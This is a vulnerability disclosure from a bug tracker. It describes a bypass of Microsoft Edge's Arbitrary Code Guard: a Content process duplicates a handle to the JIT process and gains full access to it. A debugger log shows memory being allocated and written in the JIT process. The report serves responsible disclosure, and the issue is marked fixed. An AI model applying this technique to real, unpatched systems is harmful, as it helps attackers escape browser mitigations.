New issue
Advanced search Search tips

Issue 1299 link

Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Sep 2017
Cc:



Sign in to add a comment

Microsoft Edge: ACG bypass using DuplicateHandle

Project Member Reported by ifratric@google.com, Jun 16 2017

Issue description

ACG (Arbitrary Code Guard) in Microsoft Edge is bypassable. The bypass has been tested on Microsoft Edge 40.15063.0.0 running on Windows 10 Enterprise 64-bit with Creators Update (Version 1703, OS build 15063.413)


Background:

To implement ACG (https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/#VM4y5oTSGCRde3sk.97) Edge uses a separate process for JIT compiling. The JIT process is also responsible for mapping native code into the requesting Content process. JIT Process exposes a LRPC server that is used for communication between the calling Content process and the JIT process.

In order to be able to map executable memory in the calling process, JIT process needs to have a handle of the calling process. So how does it get that handle? It is sent by the calling process as part of the ThreadContext structure. In order to send its handle to the JIT process, the calling process first needs to call DuplicateHandle on its (pseudo)handle.


The issue:

In order to call DuplicateHandle, Content process also needs to have a handle of the target process (JIT process) with the PROCESS_DUP_HANDLE access right (see https://msdn.microsoft.com/en-us/library/windows/desktop/ms724251(v=vs.85).aspx). However, this also allows Content process to completely compromise JIT process. From https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx

"Warning  A process that has some of the access rights noted here can use them to gain other access rights. For example, if process A has a handle to process B with PROCESS_DUP_HANDLE access, it can duplicate the pseudo handle for process B. This creates a handle that has maximum access to process B. For more information on pseudo handles, see GetCurrentProcess."


Debug log that demonstrate the issue:

# Run the following command to make MicrosoftEdge.exe and MicrosoftEdgeCP.exe start under WinDBG

plmdebug.exe /enableDebug Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe "c:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe"

start microsoft-edge:http://www.google.com

# Two MicrosoftEdgeCP.exe processes will be created, the first one is the JIT process and the second one is the Content process

# In WinDBG corresponding to the Content process (PID: 5104 in this case)

0:000> bp chakra!ThreadContext::EnsureJITThreadContext
Bp expression 'chakra!ThreadContext::EnsureJITThreadContext' could not be resolved, adding deferred bp
0:000> g

...

Breakpoint 0 hit
chakra!ThreadContext::EnsureJITThreadContext:
00007ff8`1a3079a4 488bc4          mov     rax,rsp

# I set an additional breakpoint just before calling DupicateHandle in order to capture the JIT process handle. Note: JIT process handle is going to be stored in memory so in a real attack, attacker with arbitrary read primitive would be able to obtain it from there. But even if that wasn't the case the handle is going to have a small (that is, bruteforcable) value.

0:015> bp 00007ff8`1a307a4d
0:015> g
Breakpoint 1 hit
chakra!ThreadContext::EnsureJITThreadContext+0xa9:
00007ff8`1a307a4d ff1575785b00    call    qword ptr [chakra!_imp_DuplicateHandle (00007ff8`1a8bf2c8)] ds:00007ff8`1a8bf2c8={KERNELBASE!DuplicateHandle (00007ff8`34408de0)}
0:015> r
rax=ffffffffffffffff rbx=ffffffffffffffff rcx=ffffffffffffffff
rdx=ffffffffffffffff rsi=0000000000000000 rdi=0000000000000960
rip=00007ff81a307a4d rsp=000000d2717fb9f0 rbp=000000d2717fba99
 r8=0000000000000960  r9=000000d2717fba48 r10=00000fff034a85c4
r11=4444455511111111 r12=00000000000004bf r13=0000000000001210
r14=00000251fcb2aa80 r15=00000251fcb2af48

# The JIT process handle is stored in r8 and has the value 0x960. Lets store it for later and continue to run the process.

0:015> g

...

# After the process has been running for a while let's break and see if the handle still works

(13f0.16f0): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ff8`37d58d70 cc              int     3

# Let's call DuplicateHandle again, but set up the registers like this. Don't forget to also setup parameters on the stack. This corresponds to calling
# DuplicateHandle(jit_server_handle, GetCurrentProcess(), GetCurrentProcess(), pointer_for_storing_return_value, 0, 0, DUPLICATE_SAME_ACCESS)

0:039> r
rax=ffffffffffffffff rbx=ffffffffffffffff rcx=0000000000000960
rdx=ffffffffffffffff rsi=0000000000000000 rdi=0000000000000000
rip=00007ff81a307a4d rsp=000000d2731ffb28 rbp=0000000000000000
 r8=ffffffffffffffff  r9=000000d2731ffc28 r10=00000fff06fb0a64
r11=0222001000880020 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
chakra!ThreadContext::EnsureJITThreadContext+0xa9:
00007ff8`1a307a4d ff1575785b00    call    qword ptr [chakra!_imp_DuplicateHandle (00007ff8`1a8bf2c8)] ds:00007ff8`1a8bf2c8={KERNELBASE!DuplicateHandle (00007ff8`34408de0)}
0:039> p
chakra!ThreadContext::EnsureJITThreadContext+0xaf:
00007ff8`1a307a53 85c0            test    eax,eax
0:039> r
rax=0000000000000001 rbx=ffffffffffffffff rcx=00007ff837d55b34
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=00007ff81a307a53 rsp=000000d2731ffb28 rbp=0000000000000000
 r8=000000d2731ffad0  r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz ac pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
chakra!ThreadContext::EnsureJITThreadContext+0xaf:
00007ff8`1a307a53 85c0            test    eax,eax

# You can see the call succeeded (DuplicateHandle returned 1) and if you look at the memory pointed to by the 4th argument, you'll get the returned handle (0xef4 in this case)
# With this kind of access it is possible for Content process to compromise the JIT process.
# Let's test out the handle

0:039> r rcx=ef4
0:039> r rip=kernelbase!getprocessid

...

0:039> r
rax=00000000000010cc rbx=ffffffffffffffff rcx=00007ff837d556d4
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=00007ff834459a35 rsp=000000d2731ffac0 rbp=0000000000000000
 r8=000000d2731ffab8  r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
KERNELBASE!GetProcessId+0x25:
00007ff8`34459a35 4883c468        add     rsp,68h

# GetProcessId returned 0x10cc aka 4300 which is the correct PID of the JIT process (see the screenshot)

# Let's now try to allocate memory in the JIT process. Don't forget to put the 5th argument (0x4 in this case) on the stack.

0:039> r rcx=ef4
0:039> r rdx=0
0:039> r r8=1000
0:039> r r9=3000
0:039> r rip=kernelbase!virtualallocex

...

0:039> r
rax=000001b929730000 rbx=ffffffffffffffff rcx=00007ff837d556b4
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=00007ff8343fff16 rsp=000000d2731ffa88 rbp=0000000000000000
 r8=000000d2731ffa40  r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz ac pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
KERNELBASE!VirtualAllocEx+0x16:
00007ff8`343fff16 4883c438        add     rsp,38h

# It worked! We successfully allocated memory in the JIT server process on address 0x1b929730000

# For the final test, let's see if we can also write memory in the JIT server process

0:039> r rcx=ef4
0:039> r rdx=000001b929730000
0:039> r r8=000000d2`731ffce0
0:039> r r9=10
0:039> r rip=kernelbase!writeprocessmemory

...

0:039> r
rax=0000000000000001 rbx=ffffffffffffffff rcx=0000000000000000
rdx=000000d2731fff00 rsi=0000000000000000 rdi=0000000000000000
rip=00007ff834469af9 rsp=000000d2731ffa88 rbp=0000000000000000
 r8=000000d2731ff9e8  r9=000000d2731ffa70 r10=0000000000000000
r11=000000d2731ffa70 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
KERNELBASE!WriteProcessMemory+0xb9:
00007ff8`34469af9 c3              ret

# It worked! If you look at the attached screenshot (WinDBG window of the JIT process), you'll see that we successfully wrote 16 bytes to address 000001b929730000

# With this kind of access it is possible for Content process to compromise the JIT process.



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 
Project Member

Comment 1 by ifratric@google.com, Jun 16 2017

jit.png
90.6 KB View Download
Project Member

Comment 2 by ifratric@google.com, Sep 14 2017

Labels: -Restrict-View-Commit
Status: Fixed (was: New)
Fixed in the September update.

Sign in to add a comment